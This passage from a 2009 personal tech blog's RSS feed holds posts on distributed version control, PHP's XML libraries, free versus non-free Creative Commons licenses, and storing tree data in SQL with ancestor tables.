<p>You can <a href="http://twitter.com/thomasrutter">check out my Twitter here</a> and tell me if I am a twit or not.</p>
<br />Posted in Web tools  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/348/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/348/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/348/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/348/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/348/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/348/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/348/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/348/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/348/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/348/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/348/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/348/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/348/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/348/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=348&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2009/06/17/figuring-twitter-out/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>
	</item>
		<item>
		<title>Distributed Version Control Systems are not Voodoo</title>
		<link>http://bitdepth.thomasrutter.com/2009/05/14/distributed-version-control-systems-are-not-voodoo/</link>
		<comments>http://bitdepth.thomasrutter.com/2009/05/14/distributed-version-control-systems-are-not-voodoo/#comments</comments>
		<pubDate>Thu, 14 May 2009 09:00:05 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[Software development]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=340</guid>
		<description><![CDATA[Distributed version control is nothing to be scared of.  It may be a lot simpler than a lot of people or &#8216;introductory tutorials&#8217; have led you to believe. Distributed version control doesn&#8217;t force you into a new way of working.  If you prefer a centralised approach, you can still do that.  You could use it [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=340&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Distributed version control is nothing to be scared of.  It may be a lot simpler than a lot of people or &#8216;introductory tutorials&#8217; have led you to believe.</p>
<ul>
<li>Distributed version control doesn&#8217;t force you into a new way of working.  If you prefer a centralised approach, you can still do that.  You could use it very much like you currently use <a href="http://en.wikipedia.org/wiki/Subversion_%28software%29">svn</a> if you want to, and yet you&#8217;ll still get the benefit of having a local history of revisions, allowing you to do a lot of things such as revert, diff, or even check in some code locally &#8211; without the overhead of network access.</li>
<li>Distributed version control does not force you to have a mess of different branches of your code on different developers&#8217; machines, with no clear indication as to which one is most &#8216;up to date&#8217;.  You would still have a &#8216;main&#8217; or &#8216;trunk&#8217; branch on a server somewhere which represents the main focus of development.  Developers get the added option of having new branches on their own machine, but this doesn&#8217;t mean that they can&#8217;t send that code back to some shared trunk when they finish something.</li>
<li>The benefits to distributed version control do not end at the &#8216;coding while on a plane&#8217; scenario.  While this is indeed a benefit of distributed version control (while coding without network access you still have access to the complete revision history and can do commits), this is not the sole reason behind DVCS.  You also get the benefit of reduced network overhead, making typical operations much faster, and you get a lot more flexibility in choosing a suitable workflow, and altering that workflow when it suits you.  If you are working on your own pet feature but don&#8217;t want to check in your code to the main trunk until it&#8217;s done, you can still easily use revision control on your own little copy, and when it does come time to check in and merge all your changes to the trunk all the little revisions you made when you were working on it separately are preserved.  This requires no setting up on the central server &#8211; any developer can create their own little parallel branch for a while, then merge it back up &#8211; it can be as simple as doing a &#8216;local commit&#8217; instead of a &#8216;commit&#8217; or &#8216;check-in&#8217; (for me, that&#8217;s just one checkbox).  Merging may sound complicated, but it&#8217;s not &#8211; it simply works.  The system  is smart enough to figure out which file was which and you can&#8217;t really break it &#8211; anything is reversible.</li>
<li>Not all DVCS are <a href="http://en.wikipedia.org/wiki/Git_%28software%29">git</a>, or particularly like git.  Git originated as a special-purpose version control system which Linus Torvalds developed to support his own personal workflow, managing the Linux kernel.  While it now has pretty much all the features of a full-featured version control system, it still has its origins as a tool built especially for one person&#8217;s own workflow.  Undoubtedly it is a good system, but if you try git and don&#8217;t like it, you should not assume that other distributed version control systems are the same as it.  Git also has problems on Windows (a native <a href="http://www.mingw.org/">Msys</a> version is still being developed as of this blog post).</li>
</ul>
<p>My version control system of choice at the moment is <a href="http://bazaar-vcs.org/">Bazaar</a>, chosen because I need both Windows and Linux capability and I like that it is easy to use.  There is not much separating it from <a href="http://www.selenic.com/mercurial/wiki/">Mercurial</a> except for some small, almost philosophical conventions.  Just as one almost insignificant example, Bazaar versions directories, allowing empty directories to be significant.  I&#8217;d recommend either.  Bazaar has the massive support of Canonical (of Ubuntu fame) and big projects such as MySQL.  Mercurial has big projects such as Mozilla (of Firefox fame).  You can get near instant help for either by going to their respective <a href="http://freenode.net/">freenode</a> IRC channels or by asking a question on <a href="http://stackoverflow.com/">Stack Overflow</a>.</p>
<ul>
<li><a href="http://doc.bazaar-vcs.org/latest/en/mini-tutorial/index.html">If you are interested, try out this &#8220;Bazaar in five minutes&#8221; tutorial.</a> Longer tutorials often give the impression that distributed version control is more complicated than it really is.</li>
</ul>
<br />Posted in Software development  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/340/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/340/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/340/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/340/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/340/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/340/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/340/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/340/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/340/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/340/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/340/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/340/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/340/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/340/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=340&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2009/05/14/distributed-version-control-systems-are-not-voodoo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>
	</item>
		<item>
		<title>Three ways to work with XML in PHP</title>
		<link>http://bitdepth.thomasrutter.com/2009/04/29/three-ways-to-work-with-xml-in-php/</link>
		<comments>http://bitdepth.thomasrutter.com/2009/04/29/three-ways-to-work-with-xml-in-php/#comments</comments>
		<pubDate>Wed, 29 Apr 2009 09:18:23 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[Software development]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=326</guid>
		<description><![CDATA[&#8216;Some people, when confronted with a problem, think &#8220;I know, I&#8217;ll use XML.&#8221;  Now they have two problems.&#8217; - stolen from somewhere DOM is a standard, language-independent API for heirarchical data such as XML which has been standardized by the W3C. It is a rich API with much functionality. It is object based, in that [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=326&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<blockquote><p>&#8216;Some people, when confronted with a problem, think &#8220;I know, I&#8217;ll use XML.&#8221;  Now they have two problems.&#8217;<br />
<em>- stolen from somewhere</em></p></blockquote>
<ul>
<li><a href="http://au.php.net/manual/en/book.dom.php"><strong>DOM</strong></a> is a standard, language-independent API for heirarchical data such as XML which has been standardized by the W3C. It is a rich API with much functionality. It is object based, in that each node is an object.DOM is good when you not only want to read, or write, but you want to do a lot of manipulation of nodes an existing document, such as inserting nodes between others, changing the structure, etc.</li>
<li><a href="http://au.php.net/manual/en/book.simplexml.php"><strong>SimpleXML</strong></a> is a PHP-specific API which is also object-based but is intended to be a lot less ‘terse’ than the DOM: simple tasks such as finding the value of a node or finding its child elements take a lot less code. Its API is not as rich than DOM, but it still includes features such as XPath lookups, and a basic ability to work with multiple-namespace documents. And, importantly, it still preserves all features of your document such as XML CDATA sections and comments, even though it doesn’t include functions to manipulate them.<br />
SimpleXML is very good for read-only: if all you want to do is read the XML document and convert it to another form, then it’ll save you a lot of code. It’s also fairly good when you want to generate a document, or do basic manipulations such as adding or changing child elements or attributes, but it can become complicated (but not impossible) to do a lot of manipulation of existing documents. It’s not easy, for example, to add a child element in between two others; addChild only inserts after other elements. SimpleXML also cannot do XSLT transformations. It doesn’t have things like ‘getElementsByTagName’ or getElementById’, but if you know XPath you can still do that kind of thing with SimpleXML.<br />
The <a href="http://au.php.net/manual/en/function.simplexml-element-construct.php">SimpleXMLElement</a> object is somewhat ‘magical’. The properties it exposes if you <a href="http://au.php.net/manual/en/function.var-dump.php">var_dump</a>/<a href="http://au.php.net/manual/en/function.print-r.php">print_r</a>/<a href="http://au.php.net/manual/en/function.var-export.php">var_export</a> don’t correspond to its complete internal representation, and end up making SimpleXML look more simplistic than it really is. It exposes some of its child elements as if they were properties which can be accessed with the -&gt; operator, but still preserves the full document internally, and you can do things like access a child element whose name is a reserved word with the [] operator as if it was an associative array.</li>
</ul>
<p>You don’t have to fully commit to one or the other, because PHP implements the functions:</p>
<ul>
<li><a href="http://au.php.net/manual/en/function.simplexml-import-dom.php">simplexml_import_dom</a>(DOMNode)</li>
<li><a href="http://au.php.net/manual/en/function.dom-import-simplexml.php">dom_import_simplexml</a>(SimpleXMLElement)</li>
</ul>
<p>This is helpful if you are using SimpleXML and need to work with code that expects a DOM node or vice versa.</p>
<p>PHP also offers a third XML library:</p>
<ul>
<li><a href="http://au.php.net/manual/en/book.xml.php"><strong>XML Parser</strong></a> (an implementation of <em>SAX</em>, a language-independent interface, but not referred to by that name in the manual) is a much lower level library, which serves quite a different purpose. It doesn’t build objects for you. It basically just makes it easier to write your own XML parser, because it does the job of advancing to the next token, and finding out the type of token, such as what tag name is and whether it’s an opening or closing tag, for you. Then you have to write callbacks that should be run each time a token is encountered. All tasks such as representing the document as objects/arrays in a tree, manipulating the document, etc will need to be implemented separately, because all you can do with the XML parser is write a low level parser.<br />
The XML Parser functions are still quite helpful if you have specific memory or speed requirements. With it, it is possible to write a parser that can parse a very long XML document without holding all of its contents in memory at once. Also, if you not interested in all of the data, and don’t need or want it to be put into a tree or set of PHP objects, then it can be quicker. For example, if you want to scan through an XHTML document and find all the links, and you don’t care about structure.</li>
</ul>
<br />Posted in Software development  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/326/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/326/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/326/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/326/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/326/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/326/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/326/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/326/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/326/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/326/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/326/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/326/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/326/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/326/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=326&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2009/04/29/three-ways-to-work-with-xml-in-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>
	</item>
		<item>
		<title>The free and non-free Creative Commons licenses</title>
		<link>http://bitdepth.thomasrutter.com/2009/03/09/creative-commons-and-freedom/</link>
		<comments>http://bitdepth.thomasrutter.com/2009/03/09/creative-commons-and-freedom/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 08:16:05 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[After hours]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=306</guid>
		<description><![CDATA[Some Creative Commons licenses are &#8216;free&#8217; in the sense that open source software is free. Other Creative Commons licenses are &#8216;not free&#8217; in the sense that they restrict use of the material in ways that is counter to &#8216;freedom&#8217; as defined by the Free Software Foundation or the Open Source Initiative, to draw a parallel [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=306&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<ul>
<li>Some Creative Commons licenses are &#8216;free&#8217; in the sense that open source software is free.</li>
<li>Other Creative Commons licenses are &#8216;not free&#8217; in the sense that they restrict use of the material in ways that is counter to &#8216;freedom&#8217; <a href="http://www.gnu.org/philosophy/free-sw.html">as defined by the Free Software Foundation</a> or the <a href="http://opensource.org/docs/definition.php">Open Source Initiative</a>, to draw a parallel with software licenses.</li>
</ul>
<p>In this article I just wanted to clarify the difference for those using a CC license, so that they are not inadvertently preventing others from using their work with an unnecessarily restrictive license.</p>
<p>Thankfully, the creativecommons.org website now has a useful &#8220;Approved for Free Cultural Works&#8221; icon and colour scheme, to help you tell them apart.  For example:</p>
<ul>
<li>This <a href="http://creativecommons.org/licenses/by-sa/2.5/">Attribution Share-Alike Generic 2.5</a> license is green and has the icon, so you know it is a &#8216;free&#8217; license.</li>
<li>This <a href="http://creativecommons.org/licenses/by-nc/2.5/">Attribution Non-Commercial Generic 2.5</a> license is yellow and does not have the icon, so it is not a &#8216;free&#8217; (as in freedom) license.</li>
</ul>
<p><strong>Defining freedom</strong></p>
<p>Creativecommons.org has chosen to adopt the meaning of <a href="http://freedomdefined.org/Definition">&#8216;freedom&#8217; as defined by Freedomdefined.org</a>, a definition which is basically equivalent to that used for open source software.  It states that for a work to be considered a <em>free cultural work</em>, it must have the following four freedoms:</p>
<ul>
<li> The <strong>freedom to use</strong> the work and enjoy the benefits of using it</li>
<li> The <strong>freedom to study</strong> the work and to apply knowledge acquired from it</li>
<li> The <strong>freedom to make and redistribute copies</strong>, in whole or in part, of the information or expression</li>
<li> The <strong>freedom to make changes and improvements</strong>, and to distribute derivative works</li>
</ul>
<p><strong>Freedom applies to everyone</strong></p>
<p>For these freedoms to be valid, they must  be unconditional and apply to everyone, regardless of who they are or what they intend to use the work for.  This means that any license with a <em>non-commercial</em> clause is not free in the sense that any business wanting to use the work commercially would have to make a separate arrangement with the author.  One of the basic rules of open source software is that businesses are allowed to use it in order to profit from it; if what they could do with it was restricted, open source software would be avoided by commercial enterprises.  Companies wouldn&#8217;t be installing Linux on their clients&#8217; systems, for example.</p>
<p>The same applies to non-software cultural works: allowing anyone the freedom to use the work, regardless of whether they intend to profit, enables businesses to assist the proliferation of the work.</p>
<p><strong>Freedom includes freedom to make changes<br />
</strong></p>
<p>These freedoms also include the freedom to make changes and improvements.  If a license does not allow derivative works, it is another example of restricting users&#8217; ability to do whatever they like with the work.  The ability to modify the work is seen as advantageous for the community because it allows the work to be improved by others, without a separate arrangement being made with the original author.  To draw a comparison with open source software again, if businesses were not allowed to modify Linux and provide their own version of it, many businesses would not be able to exist, and the behaviour of Linux would be entirely under the control of a single entity.  Allowing others to modify your work allows businesses to exist that support the work through improving it.</p>
<p><strong>Some restrictions are still acceptable</strong></p>
<p>Requiring copyright notices to be preserved, or requiring any derivative works to be given the same license (a <em>share-alike</em> clause) are still considered acceptable restrictions by the free software movement and free cultural works.  It&#8217;s just that any restrictions beyond this, such as preventing commercial uses and preventing any modifications, are not.</p>
<p><strong>Quick guide to choosing a Creative Commons license<br />
</strong></p>
<p>There is nothing wrong with choosing a non-free license for your work: It is the creator&#8217;s right not to license their work, or to apply any restrictions they desire.  If you are considering releasing something under a Creative Commons license, you should consider <em>which rights you want to retain</em>.  One reason for retaining a right would be if you want to make money from it.</p>
<p>So, here&#8217;s a quick guide on how to choose between the licenses:</p>
<ul>
<li>Including a <em>non-commercial</em> clause allows you to retain the sole right to <em>make money from distributing the work</em>.  If allowing others freedom to use the work is more important to you than making money, then don&#8217;t include a non-commercial clause.</li>
<li><em>Not allowing derivative works</em> allows you to retain the sole right to alter the work, which allows you to <em>reserve the right to charge money for or prevent alterations</em>.  If allowing others to use and improve the work is more important to you that making money from or preventing alterations, then make sure you allow derivative works.</li>
<li>If you do not care about money, or controlling who is allowed to do what with the work (save put a copyright notice on it), but you do care that the work is free for all to use and modify how they see fit, then make sure the Creative Commons license you choose is a green one, with the &#8216;Approved for Free Cultural Works&#8217; icon.  This will ensure that your work receives the best chance of being re-used and shared by as many people as possible.</li>
</ul>
<br />Posted in After hours  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/306/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/306/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/306/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/306/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/306/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/306/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/306/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/306/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/306/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/306/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/306/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/306/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/306/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/306/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=306&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2009/03/09/creative-commons-and-freedom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>
	</item>
		<item>
		<title>Storing hierarchical data in a database using ancestor tables</title>
		<link>http://bitdepth.thomasrutter.com/2009/03/06/storing-hierarchical-data-in-a-database-using-ancestor-tables/</link>
		<comments>http://bitdepth.thomasrutter.com/2009/03/06/storing-hierarchical-data-in-a-database-using-ancestor-tables/#comments</comments>
		<pubDate>Fri, 06 Mar 2009 11:48:52 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[Software development]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=277</guid>
		<description><![CDATA[More of a &#8216;programmy&#8217; topic today &#8211; this one about storing hierarchical data (data that could represent a tree) as records in a relational database. There&#8217;s plenty of information on the web about storing hierarchical data in SQL using these methods: Adjacency list Materialised paths Nested sets The method I used in a personal project [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=277&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><em>More of a &#8216;programmy&#8217; topic today &#8211; this one about storing <a href="http://en.wikipedia.org/wiki/Hierarchical_model">hierarchical data</a> (data that could represent a tree) as records in a <a href="http://computer.howstuffworks.com/question599.htm">relational database</a>.</em></p>
<p>There&#8217;s plenty of information on the web about storing hierarchical data in SQL using these methods:</p>
<ul>
<li>Adjacency list</li>
<li>Materialised paths</li>
<li>Nested sets</li>
</ul>
<p>The method I used in a personal project of mine, however, is different to all of these.  Today I found this Evolt article, which pretty much describes the technique I&#8217;m using, calling it <a href="http://www.evolt.org/working_with_hierarchical_data_in_sql_using_ancestor_tables">ancestor tables</a>.</p>
<p>I don&#8217;t know if it&#8217;s just because I don&#8217;t know the right name for it, or if people just generally haven&#8217;t thought of it, but finding anybody using this method has been pretty difficult &#8211; for whatever reason, nested sets (which I believe has serious flaws) and materialised paths seem to be all the rage instead.</p>
<p>First, I&#8217;ll describe each of the alternative methods in brief.  More information is available in <a href="http://www.dbazine.com/oracle/or-articles/tropashko4">this article from DBAzine</a>, though you can find an easier to understand description of nested sets in <a href="http://dev.mysql.com/tech-resources/articles/hierarchical-data.html">this one from MySQL</a>.</p>
<p><strong>Brief descriptions</strong></p>
<p>An <strong>adjacency list</strong> just means that for each node, you also store the ID of its parent node.  It&#8217;s easy to write a query to find immediate parents or children of an node using this method, but finding a list of ascendents of descendents, including non-immediate ones, requires some sort of fancy recursion.  That&#8217;s a well acknowledged limitation of this method, and if you look around the web you&#8217;ll find a lot of people pointing this out, at the same time singing the praises of nested sets as if they&#8217;re the only alternative.</p>
<p>A <strong>materialised path</strong> means that for each node, you store a string which represents the <em>path </em>to that node.  For instance, the node with id 13 might have a path of &#8217;1.2.12&#8242;, meaning that it is the immediate child of 12, which is the child of 2, which is the child of 1.  This opens up a few more possibilities in terms of efficient queries that can be made.  For example, you can easily find all descendents of an node using a WHERE path LIKE &#8217;1.2.%&#8217; type of syntax, or just WHERE path=&#8217;1.2&#8242; if you only want immediate children.  Efficiently finding ancestors is still a bit fiddly, as is moving an node to elsewhere in the table, but it&#8217;s not unmanageable.  I actually think it&#8217;s a good solution.</p>
<p><strong>Nested sets</strong> are more complicated than any other method.  For each node, you store two integers, which represent a &#8216;range&#8217;.  The &#8216;root&#8217; node of the tree contains the lowest and highest numbers of the whole tree, and each branch contains the lowest and highest number of that branch.  It&#8217;s probably easiest to illustrate this with <a href="http://gen5.info/q/wp-content/uploads/2008/09/nestedset.png">a diagram</a> (which I found in this <a href="http://gen5.info/q/2008/11/04/nested-sets-php-verb-objects-and-noun-objects/">article</a>).  Each number between the lowest and highest is used once and only once in the whole tree.  The major benefit to this is that it makes finding all descendents of a node fairly efficient.  To find children of an node, just find all nodes WHERE leftvalue &gt; parent.leftvalue AND rightvalue &lt; parent.rightvalue.  It&#8217;s highly inefficient, however, when you only want immediate children, ie only a single level of descendents.  It also lets you down substancially when making any modification to any node in the tree; any creation, deletion or moving of an node will always require, on average, half of the rows in the whole table to be updated.  Good if the tree is very small or you never plan to update it; bad otherwise.</p>
<p>Variations of nested sets exist which attempt to solve some of its problems, but these tend come at the cost of even greater complexity.  I was reading about a method with ever decreasing fractions for increasing levels of the tree earlier.</p>
<p><strong>Ancestor tables</strong></p>
<p>My <strong>ancestor tables</strong> method can probably be thought of as similar to a materialised path, in that it requires about the same amount of information, except that it doesn&#8217;t concatenate it all together into a string to be stored in a single column value, but represents each ancestor in its own row in a separate relation table:</p>
<ul>
<li>ancestor_ID (int)</li>
<li>node_ID (int)</li>
<li>level (int)</li>
</ul>
<p>For each node added to the tree, you add rows to this ancestor table describing its ancestry.  So for example, if node 13 is the child of 12, which is the child of 2, which is the child of 1, this would be represented in the ancestor table as:</p>
<table border="0">
<tbody>
<tr>
<th>ancestor_ID</th>
<th>node_ID</th>
<th>level</th>
</tr>
<tr>
<td>1</td>
<td>13</td>
<td>3</td>
</tr>
<tr>
<td>2</td>
<td>13</td>
<td>2</td>
</tr>
<tr>
<td>12</td>
<td>13</td>
<td>1</td>
</tr>
</tbody>
</table>
<p>The total number of rows needed in this ancestor table is related to the number of ancestor-descendent relationships in the whole tree.  If your average node is nested only 4 levels away from the root node, then you only need about 4 times the number of nodes.  It&#8217;s much less even than O(n log n).</p>
<p><em>(When I do it, I also includes a 0th level for each node, where ancestor_ID equals node_ID and level is 0.  There was only one edge case where this helped me for my specific project.)</em></p>
<p>The method allows for all of the following queries to be efficient, requiring no recursive joins or multiple queries.</p>
<ul>
<li>Find the parent of a node:<br />
SELECT ancestor_ID FROM ancestors WHERE node_ID=<em>&lt;nodeid&gt;</em> AND level=1</li>
<li>Find all ancestors of its node, including its parent, and each parent in turn:<br />
SELECT ancestor_ID FROM ancestors WHERE node_ID=<em>&lt;nodeid&gt;<br />
</em></li>
<li>Find all the immediate children of a node:<br />
SELECT node_ID FROM ancestors WHERE ancestor_ID=<em>&lt;nodeid&gt;</em> AND level=1</li>
<li>Find all the descendents of a node, including all immediate children and their descendents:<br />
SELECT node_ID FROM ancestors WHERE ancestor_ID=<em>&lt;nodeid&gt;</em></li>
</ul>
<p>As you can see, none of these queries need recursive joins, or require the database to inspect more rows than they need to, and none of them even require looking up certain information (such as the path to the requested node, or left and right values) before actually doing the query that returns the rows.</p>
<p>Add a LEFT OUTER JOIN to your main node table, and you can fetch all the necessary data about each node (name, properties, etc) in the one query.</p>
<p>You can even do efficient sorting via the same index used to fetch the rows, as long as you add columns to the ancestor tables for whatever data you want to sort on and <em>use indexes wisely</em>.</p>
<p>It also means that when inserting a new node, or making another edit to the tree, you do not have to modify the majority of the tree &#8211; only the entries in the ancestor tables that belong to that node.  This is similar to the materialised paths technique, where you only need to update the path for the node you change.</p>
<br />Posted in Software development  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/277/" /></a> <img alt="" border="0" 